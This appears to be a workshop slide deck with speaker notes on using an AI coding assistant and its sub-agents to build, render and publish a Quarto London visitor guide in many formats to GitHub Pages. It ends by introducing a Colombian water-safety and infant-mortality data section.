In london.qmd, add docx and typst (label "PDF") formats with download links on the HTML page. Render all three; check each has the computed sentence and chart.

format:
  html:
    format-links:
      - docx
      - {format: typst, text: PDF}
  docx: default
  typst: default

uv run quarto render london.qmd → london.html · london.docx · london.pdf

🎯 one format only: --to docx

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/02-london-qmd/README.md

london.docx and london.pdf show the sentence and the chart.

Same source, any format. Each format runs the Python cells again, so the inline numbers and the static matplotlib figure appear in every file without copying anything by hand. typst makes the PDF with the Typst engine bundled in Quarto (no LaTeX). format-links lists the other formats on the HTML page; an entry that is an object takes format and text. Docs: https://quarto.org/docs/output-formats/typst.html and https://quarto.org/docs/output-formats/html-multi-format.html (checked 2026-10-30). Stop the preview before this render: the preview re-renders london.qmd on every save, and two renders of one file at once fail (readfile 'london.quarto_ipynb', dry run 2026-11-01); that is also why the two previous prompts let the preview render. The next slide’s three formats are demonstrated, not required, so this block keeps time for explanation and recovery.

🎞️ Three More Formats · ⭐ optional

In london.qmd, add pptx, epub and revealjs (london-slides.html) formats, each with a download link on the HTML page. Render all; check each has the computed sentence and chart.

format:
  html:
    format-links:
      # … docx, PDF
      - pptx
      - epub
      - {format: revealjs, text: Slides}
  pptx: default
  epub: default
  revealjs: {output-file: london-slides.html}

uv run quarto render london.qmd → six files

👀 watch the demo · try it later: PowerPoint or LibreOffice, an e-book reader, a browser

Exercise · ⏱️ 2 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/02-london-qmd/README.md

all six files show the sentence and the chart.

🗂️ One Guide, Five Audiences

⏱️ 1:40

🧠 Content Once, Format per Audience

👔

Managers

📈 dashboard

format: dashboard

📧

Partners

email attachment

format: docx

🧾

Walk-ins

A5 flyer · pdf

typst · papersize: a5

📱

Social · ⭐

12 cm square ad · pdf

raw {=typst} page size

🌐

Visitors

website · next block

project: website

🔁 change data/ once → every version updates

Every output reads the same data/ files and the same photo, so one update to the data changes every audience’s version at the next render. Each card names the format setting that makes the difference, and the prompt two slides on asks for exactly these: format: dashboard turns ## headings into rows and each cell output into a card, with a level-1 heading per page (https://quarto.org/docs/dashboards/); format: docx is Word; the flyer is a Typst PDF on A5 paper (papersize: a5, https://quarto.org/docs/output-formats/typst.html#page-layout); Typst has no square paper size, so the ad sets its page in a raw {=typst} block; and project: website in _quarto.yml comes in the publishing block (docs checked 2026-10-31). The files are london-dashboard.qmd, london-email.qmd (with london-email-message.md), london-flyer.qmd and london-social.qmd. The first three are required and independent, so one prompt can hand them to three sub-agents at once (after the next slide); the ⭐ square ad has its own slide later. The website comes last and links them all.

🤖 Sub-Agents: One Lead, Many Hands

🧑‍✈️

Lead

your assistant: splits the work, waits, renders, checks

🤖🤖🤖

Sub-agents

one task each, own context, all at once

📄

One file each

no two agents edit or render the same file

⏱️ three tasks ≈ the slowest one · 🪙 more tokens

Claude Code · Codex · Antigravity · checked 2026-10-31

A sub-agent is a separate assistant session that the lead starts for one task: it has its own context window, does the task and reports back, while the lead waits for all of them and checks the results. Independent tasks then take about as long as the slowest one, but each sub-agent does its own model and tool work, so a run uses more tokens. Claude Code runs sub-agents in parallel when a prompt asks for them, without any set-up; its own example is “Research the authentication, database, and API modules in parallel using separate subagents” (https://code.claude.com/docs/en/sub-agents). Codex enables sub-agents by default and starts them when asked; its docs warn that parallel edits “can create conflicts” and that sub-agent runs use more tokens (https://learn.chatgpt.com/docs/agent-configuration/subagents). Antigravity’s CLI lets its primary agent delegate to parallel subagents (https://antigravity.google/docs/subagents?tab=cli); the docs do not say a prompt can require it, so agy may do the tasks itself. All checked 2026-10-31. Two rules keep parallel work safe, and the prompt states both: each sub-agent writes only its own files and renders nothing, and the lead renders the files one at a time, because two Quarto renders, or two uv run environment updates, in one folder can collide. Sub-agents read AGENTS.md too, so the project’s rules (cited numbers, open photos, uv run) still apply. This is the same split as this repository’s own role contracts in its AGENTS.md.

🗂️ One Prompt, Three Audiences

Run three sub-agents in parallel, one per item (none? do the items in turn). Each reads london.qmd, data/ and images/, hides code, follows AGENTS.md and only writes its own files: no rendering.
1. london-dashboard.qmd (format: dashboard): Attractions page (value boxes: top attraction, total `visits_2025`, number free; Plotly bars by attraction; a Plotly line of visits by `year` from data/visits.csv; end each chart cell with `fig`, assigning `fig = fig.update_layout(…)`); Churches page (data/churches.csv, names linked to `visit_london`).
2. london-email.qmd: docx partner brief (2025 numbers as inline code, five sights with official links, getting around, sources); london-email-message.md: its covering email in a text block, no numbers.
3. london-flyer.qmd: one A5 Typst page (papersize: a5): Big Ben photo, five sights with price band and nearest tube, local tip.
Then render the three .qmd files yourself, one at a time, and check each.

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/checkpoints/04-london-audiences/README.md

you open a two-page dashboard, a Word brief and its email, and a one-page flyer.

One prompt, three independent jobs. Participants approve the assistant’s commands and open the three outputs; the lead starts the sub-agents, waits, then renders london-dashboard.qmd, london-email.qmd and london-flyer.qmd in turn and checks them; london-email-message.md needs no render. Ask the room to watch the assistant report each sub-agent’s progress. Finished files: quarto-workshop/examples/london/.

Dashboard: format: dashboard turns ## headings into rows and each cell output into a card, and a level-1 heading starts a page: “To introduce multiple pages, use level 1 headings above the level 2 headings used to define rows and columns” (https://quarto.org/docs/dashboards/data-display.html and https://quarto.org/docs/dashboards/layout.html#pages, checked 2026-10-31). data/visits.csv holds 2015–2025 visits for five attractions from the ALVA yearly pages: 2020–2021 are pandemic years, and from 2024 the Natural History Museum count includes its reopened gardens (ALVA 2024 note v). data/churches.csv lists the 10 cathedrals and churches on Visit London’s “Cathedrals and churches in London” page (https://www.visitlondon.com/things-to-do/sightseeing/london-attraction/historic/cathedrals-and-churches-in-london, retrieved 2026-10-31), in page order with the page’s headings as type: Visit London’s choice of places tourists like, not a ranking, so the page shows no visitor numbers; visit_london is the church’s own Visit London page, or the list itself where the list links none. If a Plotly legend looks clipped, ask for a horizontal legend with a fixed entrywidth.

Partners: Markdown headings become Word heading styles (Title, Heading 2), so the brief has a navigable outline and its links stay clickable; execute: echo: false hides every code cell. Official visitor pages: britishmuseum.org/visit, nhm.ac.uk/visit.html, tate.org.uk/visit/tate-modern, nationalgallery.org.uk/visiting, hrp.org.uk/tower-of-london/visit (checked 2026-10-30). The covering email is a plain .md file: the text fence marks exactly what to copy and keeps its line breaks; to send it, copy the Subject: line into the subject field and the rest into the message, and attach london-email.docx. It quotes no visit numbers, so they stay in the brief, computed and cited, as the project’s rules require.

Flyer: papersize takes any Typst paper name (a5, a4, us-letter, …) and margin takes x, y or single sides (https://quarto.org/docs/output-formats/typst.html#page-layout, checked 2026-10-30); if the flyer spills onto a second page, ask for a smaller photo. Checkpoint 04 is the end of this block; the ⭐ square ad is a later, optional slide.

📱 A Square Ad · ⭐ optional

Create london-social.qmd: one 12 cm square Typst page (raw Typst page size) for social media: "Visit London", the Big Ben photo, the top attraction and its `visits_2025`. Hide code, follow AGENTS.md, render it, and check that the PDF is one square page.

writes london-social.qmd · uv run quarto render london-social.qmd

open london-social.pdf

Exercise · ⭐ self-paced

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/london/README.md

london-social.pdf is one square page showing the top attraction.

🗺️ The Sights in 3-D · ⭐ optional

■ free sight■ paid sight■ church · no count, marker only■ the Thames

Natural History MuseumBritish MuseumTate ModernNational GalleryTower of LondonSt Paul's CathedralSouthwark CathedralWestminster CathedralWestminster AbbeyAll Saints Margaret StreetSt Dunstan in the EastSt Martin-in-the-Fields ChurchSt Pancras Old ChurchSt Clement Danes ChurchTemple Church

🗺️ 5 sights · ⛪ 10 churches · 〰️ the Thames between the boroughs

⬆️ height = 2025 visits (ALVA): a million = 250 m

🔄 up close · most visited: Natural History Museum, 7.1 M · paid: Tower of London

Visits: ALVA · places: Wikidata · boroughs: ONS, OGL v3.0, contains OS data © Crown copyright and database right 2024 · 🖱️ drag to turn · scroll to zoom

Show it while the sub-agents work: nothing here changes the project. Optional and self-paced, not counted in the agenda; about a minute. The same files the guide uses, on a map: one column per sight from examples/london/data/places.csv, as tall as its 2025 visits in visits.csv (ALVA), coloured by price_band in sights.csv; the ten churches of churches.csv (Visit London’s list) stand as short markers, because the data hold no visit counts for them. Coordinates are each place’s Wikidata coordinate location (CC0, retrieved 2026-11-01). The boroughs are ONS’s December 2024 generalised boundaries, clipped at Mean High Water (london-boroughs.geojson, Open Government Licence v3.0, retrieved 2026-11-01), so the tidal Thames is the gap between the boroughs on its two banks: the map lays the boroughs on blue water, and the river shows blue where no borough covers it. The tones only tell neighbours apart; they encode no data. In view: Camden, City of London, Hackney, Islington, Kensington and Chelsea, Lambeth, Southwark, Tower Hamlets, Westminster. This deck cell computes every point, height, border and fill in metres; the three.js bundle (assets/deck-3d/, the scene Part 2’s relief view uses) only draws them. Press → to tilt the map, and again to turn about the five sights while the churches fade. The tallest column is the Natural History Museum (7,116,929 visits); the only paid sight is the Tower of London. Drag to turn the map and scroll to zoom; with reduced motion the views change without animation. A dashboard could draw the same map in 2-D with Plotly from these files.

✨ Ask for three.js · ⭐ optional

A 3-D bar chart on a dark floor, drawn by three.js: 2025 visits to five ALVA member attractions. Natural History Museum 7.1 million, British Museum 6.4 million, Tate Modern 4.5 million, National Gallery 4.1 million, Tower of London 2.8 million.

🧊 three.js: 3-D in any browser

🗺️ It drew the last slide’s map

🆓 Free · MIT License

👀 Gallery · 🐦 One-prompt pelican

Create visits-3d.html with `three.js` from a CDN: a labelled 3-D bar per `attraction` in data/visits.csv, as tall as its `visits` in the latest `year`, that I can drag to turn. Put the numbers in the page so it opens by double-click, then check them against the CSV.

after the sub-agents finish · open visits-3d.html in your browser

Exercise · ⭐ self-paced

the bars turn, and the tallest bar’s number matches data/visits.csv.

Optional and self-paced, not counted in the agenda: the point is that you can ask for this. three.js is a free JavaScript library (MIT License, https://threejs.org, 0.187.0 on npm, checked 2026-11-06) that draws 3-D scenes with the browser’s WebGL, so the reader installs nothing. You do not need to know its API: name the library, the data and what you want to do with the result, and check the numbers. The prompt copies the numbers into the page because a page opened by double-click cannot read local files, and the page needs internet to load three.js from the CDN. A published page keeps that dependency, which is why this deck bundles its own copy (assets/deck-3d/). Wait until the sub-agents have finished: never run two assistants writing to one folder. Be honest about the chart: perspective makes 3-D bars harder to compare than a plain bar chart, so choose 3-D when the third dimension means something, as on the map, or for delight. The picture is a dry run by Claude Code (Opus 5.5), following this prompt by hand in a scratch folder with checkpoints/04-london-audiences/data/visits.csv, opened from a file URL on 2026-11-06; it is not a participant session, so your page will look different. It is a dated screenshot of 2025 visits to ALVA member attractions, and its numbers matched the CSV on that date: retake it, and update the alt text, if the 2025 rows of data/visits.csv change. The linked pelican is from Simon Willison’s post on Claude Sonnet 5.5 (https://simonwillison.net/2026/Sep/28/claude-sonnet-5-5/): he asked for an HTML page with a 3-D pelican on a bicycle using WebGL, and the page it wrote loads three.js r128.

🪟 WSL ↔︎ Windows · ⭐ optional

🐧 Ubuntu

➕ Ctrl+Shift+D, then cd ~/london-guide
📂 explorer.exe . in File Explorer
💽 ls /mnt/c/Users/ Windows files
🧑‍💻 code . VS Code, if installed

🪟 PowerShell

➕ ▾ menu → PowerShell
📋 wsl -l -v Ubuntu · Running · 2
🔑 wsl --user root reset a password
⚠️ wsl --shutdown stops every Ubuntu tab

🪟 Windows only · 🍎 open . · 👀 approve in the assistant’s tab

Exercise · ⭐ self-paced

File Explorer shows your london-guide files and wsl -l -v lists Ubuntu.

Windows only; on a Mac, open . opens the folder in Finder. Show it while the sub-agents work: nothing here changes the project. Optional and self-paced, done during the audiences wait, so not counted in the agenda. Ctrl+Shift+D duplicates the Ubuntu tab, but a new tab starts in the profile’s starting folder unless the shell reports its folder to the Terminal (https://learn.microsoft.com/windows/terminal/tutorials/new-tab-same-directory), hence the cd; the ▾ menu beside the tabs opens a PowerShell tab. explorer.exe . opens the current Linux folder in File Explorer, where double-clicking an output such as london-flyer.pdf opens it in Windows. Windows drives appear under /mnt/, so /mnt/c/Users/<user>/Downloads is your Downloads folder; keep projects in ~, which is faster (https://learn.microsoft.com/windows/wsl/filesystems). code . opens the folder in VS Code on Windows, connected to Ubuntu, if VS Code (Windows installer, “Add to PATH”) and its WSL extension are installed (https://learn.microsoft.com/windows/wsl/tutorials/wsl-vscode); the workshop does not need it. In PowerShell (https://learn.microsoft.com/windows/wsl/basic-commands): wsl -l -v lists each distribution with its state and WSL version (from Ubuntu, type wsl.exe -l -v); wsl --user root opens a root shell, the documented way to reset a forgotten Linux password with passwd <username> (https://learn.microsoft.com/windows/wsl/setup/environment) in the default distribution, which wsl --install makes Ubuntu (if not, add -d and the name wsl -l -v shows); wsl --shutdown “Immediately terminates all running distributions”, so it stops the assistant and the preview: use it only after the work is saved, for example after editing .wslconfig. All checked 2026-10-31. Remind the room to look back at the assistant’s tab for approvals.

⌨️ Terminal Keys · ⭐ optional

📋 Ctrl+Shift+C / V

copy · paste (🍎 ⌘C / ⌘V)

🖱️ Right-click

🪟 copy a selection, or paste

✋ Ctrl+C

stop a command (🪟 copies a selection)

⇥ Tab

complete a name

↔︎️ Ctrl+A / Ctrl+E

line start · end

✂️ Ctrl+U / Ctrl+K

delete before · after the cursor (🍎 U: whole line)

🧹 Ctrl+L

clear the screen

🔎 Ctrl+R

search past commands

Ctrl+Shift+D (🍎 ⌘T) → ls ~/quarto-w Tab Enter → Ctrl+L → Ctrl+R ls → Ctrl+A → Ctrl+E → Ctrl+U

Exercise · ⭐ self-paced

Ctrl+R found your ls command and Ctrl+U cleared it.

For everyone; also shown while the sub-agents work. Optional and self-paced, done during the audiences wait, so not counted in the agenda. In Windows Terminal, Ctrl+Shift+C and Ctrl+Shift+V always copy and paste. Ctrl+C copies only when text is selected; with nothing selected it goes to the program in that tab and stops it, so in the assistant’s tab it interrupts the assistant. With the default settings a right-click copies the selection or, with none, pastes (https://learn.microsoft.com/windows/terminal/customize-settings/actions and https://learn.microsoft.com/windows/terminal/customize-settings/interaction). On a Mac, Terminal uses ⌘C, ⌘V and ⌘T (https://support.apple.com/guide/terminal/keyboard-shortcuts-trmlshtcts/mac), a right-click opens a menu, and Ctrl+C always stops a command. The editing keys are defaults in Bash (Ubuntu) and zsh (macOS): Ctrl+A and Ctrl+E jump to the start and end of the line, Ctrl+K deletes to the end, Ctrl+U deletes to the start in Bash and the whole line in zsh, Ctrl+L clears the screen, and Ctrl+R searches earlier commands as you type (Ctrl+R again for older matches, Enter runs it, Ctrl+G gives up). Tab completes file and command names and lists the choices when several match. Sources: https://www.gnu.org/software/bash/manual/html_node/Bindable-Readline-Commands.html and https://zsh.sourceforge.io/Doc/Release/Zsh-Line-Editor.html. All checked 2026-10-31. The exercise uses ~/quarto-workshop, which everyone cloned, so Tab has one match.

🌍 Publish to GitHub Pages

⏱️ 1:55

🌳 Git: Every Change, Safely

🕰️ every saved version kept · 🐙 shared on GitHub

🌿

branch

main stays untouched

💾

commit

a snapshot + why

☁️

push

copy it to GitHub

🔀

pull request

propose the change

👀

review

someone reads the diff

✅

merge

into main

👤 today: straight to main · 👥 a team: the whole loop

Concepts, not commands: the assistant runs git and you approve. The six terms stay in English when the deck is translated, as they do in git and on GitHub. A repository is the project folder plus its full history. A commit is a snapshot of every tracked file with a message saying why, so any earlier version can be restored or compared. A branch is a movable label on a line of commits: work happens on a branch while main stays working (https://git-scm.com/book/en/v2/Git-Branching-Branches-in-a-Nutshell). Push copies commits to the remote repository on GitHub. A pull request proposes merging a branch, shows the diff and collects discussion and checks (https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-pull-requests); a review comments on it, approves it or asks for changes (https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews); merging adds its commits to main. All checked 2026-10-31. Working alone today, the next slides commit straight to main and push; in a team, every change goes round the loop, and this workshop’s own repository is built that way. Ask the assistant to “commit with a message that says why”, and read its diffs before you approve.

🌐 GitHub Pages

Three steps: your source lives in a GitHub repository; quarto publish gh-pages renders the site and pushes the HTML to a gh-pages branch; GitHub serves that branch at user.github.io/repo.

🆓 free static hosting, straight from a GitHub repo

🏗️ A Project: One Folder → One Website

Make this folder a Quarto website: _quarto.yml (render only the .qmd files; navbar: Guide, Dashboard, a Downloads menu for the docx, pdf, pptx, epub and london-slides.html files that exist), index.qmd, and a .gitignore for /_site/, /.quarto/, /.venv/ and *_files/. Render and check the links.

project:
  type: website
website:
  title: "Visit London"
  navbar:
    left:
      - {text: Guide, href: london.qmd}
      - {text: Dashboard, href: london-dashboard.qmd}
      - {text: Downloads, menu: [...]}

writes 3 files · uv run quarto render → _site/

then: Ctrl+C in the preview tab, uv run quarto preview

Exercise · ⏱️ 3 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/london/README.md

the site opens with Guide, Dashboard and Downloads.

🚀 Publish

Initialise a git repository here. Replace README.md in this folder with a short one linking to https://<your-github-username>.github.io/london-guide/ and listing the files in the site's Downloads menu. Commit everything except _site/, .quarto/, .venv/ and *_files/, then create a public GitHub repository named `london-guide` with gh and push to it. Set the repository's website to the same URL with `gh repo edit --homepage`. Show me the README and the website URL you set.

approve gh · second tab: uv run quarto publish gh-pages, Enter at “Publish site … (Y/n)” · open the URL on your phone 📱 · 404? wait a minute, reload

Exercise · ⏱️ 6 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/london/README.md

https://<your-github-username>.github.io/london-guide/london-dashboard.html opens on your phone 📱

The assistant runs gh repo create london-guide --public --source=. --push, which creates the GitHub repository from this folder and pushes the commits (https://cli.github.com/manual/gh_repo_create), using the gh sign-in from the setup check. GitHub shows a root README.md to the repository’s visitors (https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes, checked 2026-11-01), so its link takes them from the source to the live site; the assistant can read the username with gh api user. The new README replaces the catch-up copy of examples/london/README.md, whose steps are for the workshop, not the site; a later catch-up restores it with git checkout -- README.md. data/README.md stays. The first quarto publish gh-pages is the participant’s: it asks one question, then renders locally, creates the gh-pages branch, pushes the site and opens it. --no-prompt cannot make that first run: Quarto 1.6.40 stops with “the remote origin does not have a branch named gh-pages” (dry run of 2026-11-01). In that dry run the first publish of each site took about 1.5–2 minutes from creating the branch to pushing the built site, and GitHub Pages then built it in 20–35 s, so the step is timed at 6 minutes with the assistant’s git and gh work before it. The block has slack for a slower run; anyone still publishing after that finishes in the meal break, which is also for catching up. Quarto’s GitHub Pages guide asks for one local quarto publish gh-pages before any non-interactive publish (https://quarto.org/docs/publishing/github-pages.html, checked 2026-11-01). Once the branch exists, an assistant can update the site with uv run quarto publish gh-pages --no-prompt. If a push fails with HTTP 400 (seen with Git 2.37), run git config http.postBuffer 524288000 and push again. For a project site no Settings → Pages change is needed; that page shows the URL and status (https://quarto.org/docs/publishing/github-pages.html, checked 2026-10-30). Alternative: a GitHub Action renders on every push using quarto-dev/quarto-actions/setup@v2 and quarto-dev/quarto-actions/publish@v2 with target: gh-pages; run quarto publish gh-pages once locally first, and the Action needs Python and the packages (or freeze: auto with _freeze/ committed). The finished project is quarto-workshop/examples/london/; Part 1 has no checkpoint after 04.

🆓 Free Static Hosts · ⭐ optional

📁 _site/ is plain files: ✅ any static host can serve it

GitHub Pages

📍 today · 📤 uv run quarto publish gh-pages

Netlify

📤 uv run quarto publish netlify

Cloudflare

📤 upload _site/ with wrangler

Vercel

⚠️ personal, non-commercial

GitLab Pages

⚙️ built by CI → gitlab.io

Render

⚙️ builds from Git → onrender.com

📤 you upload · ⚙️ the host builds: needs Quarto + Python · checked 2026-11-07

Optional, about thirty seconds, and nobody signs up for anything today: skip it if the publish block is running late. A rendered Quarto site is static files (HTML, CSS, JavaScript, images), so Quarto’s docs say any web server or web host can be used: publishing is copying the output folder (_site/ for a website) to the host (Other Services). Each host here has a free plan for static sites; all were checked 2026-11-07 on the linked official pages.

There are two routes. 📤 You render on your computer and upload _site/: quarto publish does this for GitHub Pages and Netlify, and Wrangler for Cloudflare. ⚙️ The host builds the site from your Git repository: Render, a GitLab CI job, and the Git integrations of Cloudflare and Vercel. The London repository leaves _site/ out, so connecting it to a host that builds gives no site unless that build installs Quarto, Python and the project’s packages (or you commit the rendered output).

Netlify: a built-in Quarto target, uv run quarto publish netlify (Quarto docs). Quarto’s page says its Netlify build plugin renders Markdown only and runs no Python, so render locally and publish the result. The Free plan has 300 credits a month, and each production deploy costs 15 (pricing).
Cloudflare: its Pages docs now tell new projects to start with Workers, where requests for static assets are free (migration guide). wrangler deploy uploads the assets directory named in the Wrangler configuration file, so set that to _site (static assets). Pages’ Free plan allows 500 builds a month and 20,000 files (limits).
Vercel: the Hobby plan is free for non-commercial, personal use only, with 100 GB of data transfer a month (Hobby plan).
GitLab Pages: on GitLab.com’s Free tier. A .gitlab-ci.yml job publishes the public folder by default, to namespace.gitlab.io/project, so set Quarto’s output-dir: public (or change the job’s publish path) and install Quarto and Python in the job, which uses the Free tier’s CI minutes (GitLab Pages).
Render: static sites are free to deploy, count against the workspace’s monthly bandwidth and pipeline minutes, get an onrender.com URL, and rebuild on every push to the connected branch (static sites).

Quarto Pub, Quarto’s own free host, is being replaced by Posit Connect Cloud (Quarto Pub docs). We use GitHub Pages today because the repository is already on GitHub and quarto publish gh-pages is built in. Free plans change: read the current limits before choosing one (publishing guide).

🔁 Change an Input

⏱️ 2:15

🔁 Change One Input, Explain the Rebuild

🧪 No prompt is given: write your own.

🔮 Predict: set the Tower of London’s visits_2025 in data/attractions.csv to 8000000. Which outputs will change?
🔁 Rebuild the site
🔎 Explain: which outputs updated, which did not, and why?
↩︎️ git restore data/attractions.csv, then rebuild so no trial number stays in your files

edit the number yourself: nano data/attractions.csv (Ctrl+O, Enter, Ctrl+X) · AGENTS.md keeps data/ unchanged for the assistant · ↩︎️ git restore needs the 🌍 Publish step

Exercise · ⏱️ 4 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/london/README.md

you can name the outputs that changed, the ones that did not, and why.

The workshop’s one task without a supplied prompt: it checks that participants can predict and verify what a rebuild changes rather than just paste prompts. The trial value is deliberate and reversible; data/ stays real and cited, so participants undo it with git restore data/attractions.csv (the Publish step committed it), and the assistant must not edit data/ (the project’s AGENTS.md), so the edit is theirs. Expected answer: the Tower of London becomes the top attraction, because every page computes the top attraction and the total with attractions["visits_2025"].idxmax() and .sum(). Updated: the guide (london.qmd: html, docx and pdf, plus the ⭐ pptx, slides and epub if made), the dashboard’s value boxes and bars, london-email.docx, and the ⭐ ad if made. Not changed in content: london-flyer.pdf (price band and tube only, no visit counts) and london-email-message.md (quotes no numbers, and is not rendered). Also not updated: the live site, until it is republished (uv run quarto publish gh-pages --no-prompt), and files that were not rebuilt. A participant who edits visits.csv instead changes only the dashboard’s line chart (and the ⭐ white paper). Good follow-up questions: where would the change show up if the number were typed into the prose instead of computed? Why does quarto render re-run every code cell (freeze is off)? A strong answer names the code line linking each output to the input. Checkpoint: none; the catch-up copies the finished project.

📑 A White Paper · ⭐ optional

Create london-whitepaper.qmd, an A4 Typst white paper in "New Computer Modern": an abstract (no inline code), numbered Introduction, Methods, Results and Conclusions, then References via `#set bibliography(title: [References])` (references.bib from `url`). Analyse data/visits.csv vs 2019 and data/attractions.csv by `admission`. Add it to `render` and the "Downloads" menu; render; check citations. Figures must be vector: set `fig-format: svg` and check that the files in `figure-typst/` end in .svg.

bibliography: references.bib
format:
  typst:
    mainfont: "New Computer Modern"
    section-numbering: "1.1"
    bibliographystyle: ieee

renders london-whitepaper.qmd

open london-whitepaper.pdf

Exercise · ⏱️ 8 min

😰 Stuck?

Catch me up: follow ../quarto-workshop/examples/london/README.md

london-whitepaper.pdf shows an abstract and numbered references.

A white paper is the academic version of the guide: abstract, introduction, methods, results, conclusions and references, with every number computed from data/ (the project’s AGENTS.md says so, so the prompt need not). It looks like a LaTeX article without a LaTeX install: Quarto 1.10.20 bundles Typst 0.15, which embeds New Computer Modern, the OpenType version of LaTeX’s Computer Modern (checked 2026-11-01 in the PDF’s embedded fonts). The paper’s header needs Quarto ≥ 1.10 (quarto --version): 1.6.40 stops with “unexpected argument: spacing”. section-numbering numbers the headings, bibliography reads the BibTeX file, and bibliographystyle: ieee picks Typst’s numbered style. Typst prints its own “Bibliography” heading, so the prompt asks for #set bibliography(title: [References]), which goes in the Typst format’s include-in-header; the paper then needs no References heading of its own. The finished example also wraps Quarto’s Typst article function so that the title is set in New Computer Modern too. [@key] cites a reference; @fig-…, @tbl-…, @eq-… and @sec-… refer to labelled figures, tables, equations and sections. An inline expression in a YAML abstract runs before the setup cell and fails, so the finished example writes its abstract in the body, wrapped in a raw {=typst} block. It also floats figures, draws booktabs-style table rules and sizes table columns to their contents (tbl-colwidths: false). ALVA counts only its members, so the paper says “ALVA member attractions” and treats the five sights as a description, not a sample. Genuine LaTeX output is format: pdf, which needs a TeX distribution (quarto install tinytex): https://quarto.org/docs/output-formats/pdf-basics.html. Docs: https://quarto.org/docs/output-formats/typst.html, https://quarto.org/docs/reference/formats/typst.html, https://quarto.org/docs/authoring/citations.html and https://quarto.org/docs/authoring/cross-references.html (checked 2026-11-01). To update a live site, ask the assistant to run uv run quarto publish gh-pages --no-prompt. Optional and self-paced: not counted in the agenda. The finished paper is quarto-workshop/examples/london/london-whitepaper.qmd.

📚 Part 1 Sources

📊 ALVA, Visits made in 2025 to visitor attractions in membership with ALVA: alva.org.uk/details.cfm?p=423, retrieved 2026-10-30
📈 ALVA, same tables for 2015–2024: p= 606 · 607 · 608 · 609 · 610 · 615 · 616 · 617 · 618 · 619, retrieved 2026-10-30
📷 Big Ben in the sun, John Dillenbeck, CC0: Wikimedia Commons, checked 2026-10-30
🚇 Stations (data/sights.csv): British Museum · Natural History Museum · Tate Modern · TfL StopPoint (National Gallery) · Tower of London, checked 2026-11-01 · TfL Journey Planner, checked 2026-10-30
🗺️ Map: places, Wikidata (CC0, data/places.csv) · boroughs: Office for National Statistics, LAD Dec 2024 BGC, OGL v3.0, contains OS data © Crown copyright and database right 2024, retrieved 2026-11-01
📘 Docs: Typst · inline code · dashboards · GitHub Pages · gh repo create, checked 2026-10-30
📑 White paper: citations · cross-references · Typst options, checked 2026-11-01

Every number in Part 1 comes from examples/london/data/attractions.csv or visits.csv (churches.csv lists Visit London’s churches, with no numbers), and every fact in the sights table from sights.csv; the map’s coordinates are in places.csv and its borough boundaries in london-boroughs.geojson. Each CSV row carries its source URL and retrieval date. ALVA lists only its members’ sites. VisitBritain’s town-level inbound visits were considered but left out. Its page (https://www.visitbritain.org/research-insights/inbound-visits-and-spend-trends-uk-town, checked 2026-10-30) warns that 2024 data are “official statistics in development”, that the ONS does not endorse 2024 comparisons with previous years, and that the page does not yet reflect the revised 2024 estimates released on 4 September 2026.

🍽️ Meal Break

⏱️ 2:25

🍽️ 30 min · back at 2:55 for 💧 Part 2

🛟 London site not live yet? Ask for help now, or paste the 🚀 Publish slide’s Catch me up

💧 Part 2 · Colombia Water Safety and Infant Mortality

⏱️ 2:55

🗺️ Part 2 in Seven Stages

💧

2:55 why · rules · data

🔍

3:15 explore

🧹

3:35 prepare

🧩

3:55 cluster

🏷️

4:35 interpret

⚠️

4:55 correlation ≠ causation

📤

5:10 publish many

🏁 a live site: report · slides · blog · 🔁 an explained rebuild

☕ 4:20 after cluster · 🏁 5:50 show your sites

20 + 20 + 20 + 25 = 85 minutes from 2:55 (after the meal), a 15-minute break at 4:20, then 20 + 15 + 40 = 75 minutes from 4:35 to 5:50. Section dividers show the same start times. The 40-minute publishing block has its own start times on each slide (re-timed after the dry run of 2026-11-01: the first publish gets 6 minutes, the website step 6). Exercise times add up to 4, 10, 10, 8, 6, 5 and 30 minutes for why · rules · data to publish, on the normal 📤 route through the analysis: from the Cluster block on, a 📤 prompt copies each block’s finished scripts/analysis.py and everyone builds the pages. The dashboard (3 slides) is ⭐ optional and comes after the final change-an-input task. The ⭐ challenge prompts that write the analysis, the ePub, the dashboard, the white paper and the five optional 3-D slides on the outcomes by cluster and year (after the Interpret block) are self-paced and not counted. The rest of each block is for the concept slides, showing results and recovering from a failed command. The 25-minute Cluster block has the hardest ideas, so it ends at the break: keep each 3-D view to about a minute and demonstrate the modelling choices while the room runs the 📤 step. These are estimates: rehearse with a stopwatch and change the clocks, this slide and README together.

🏛️ Where the Data Comes From

🧪

INS · water quality (IRCA, from utilities)

🗺️

DANE · town codes · map

🎓

ICFES · MEN · exams · school dropout

💰

DNP · coverage · poverty · spending

💡 useful: find 📍 which towns get unsafe water · 🔁 anyone can rerun it

All open data via datos.gov.co and DNP TerriData · sources and licences: examples/water/data/README.md

All sources are public Colombian open data, joined on the DANE DIVIPOLA municipality code (see examples/water/data/README.md for every table, licence and cut-off date). INS (Instituto Nacional de Salud) publishes the IRCA surveillance results (datos.gov.co nxt2-39c3); DANE supplies the list of municipalities, population projections and boundaries (and the population behind per-person spending); the IRCA table is the utility-supplied (“prestadores”) IRCA, not INS’s national total; ICFES supplies the Saber 11 exam and MEN the school dropout rate. DNP, CHIRPS and SRTM add poverty, spending, rainfall and altitude. Why it is useful: drinking-water quality is a public-health issue, but national averages hide where the risk is. Municipal data lets us see which places and which zones (urban or rural) are worst, and compare them with outcomes such as infant mortality and exam scores. Because the data and the analysis are open, anyone can check and rebuild the results, which is the point of this workshop.

📏 Two Measures: IRCA and Saber 11

💧 IRCA · water-safety risk

🧪 tap-water samples against health limits
⚖️ failed tests weighted by risk: E. coli 25 · turbidity 15 · pH 1.5
📏 0 = no risk → 100 = unfit

🎓 Saber 11 · ICFES exam

🧑‍🎓 students finishing secondary school
📚 5 tests: reading, maths, social studies, science, English
📏 global score 0–500

🧮 both are averages: IRCA over water samples · Saber 11 over students

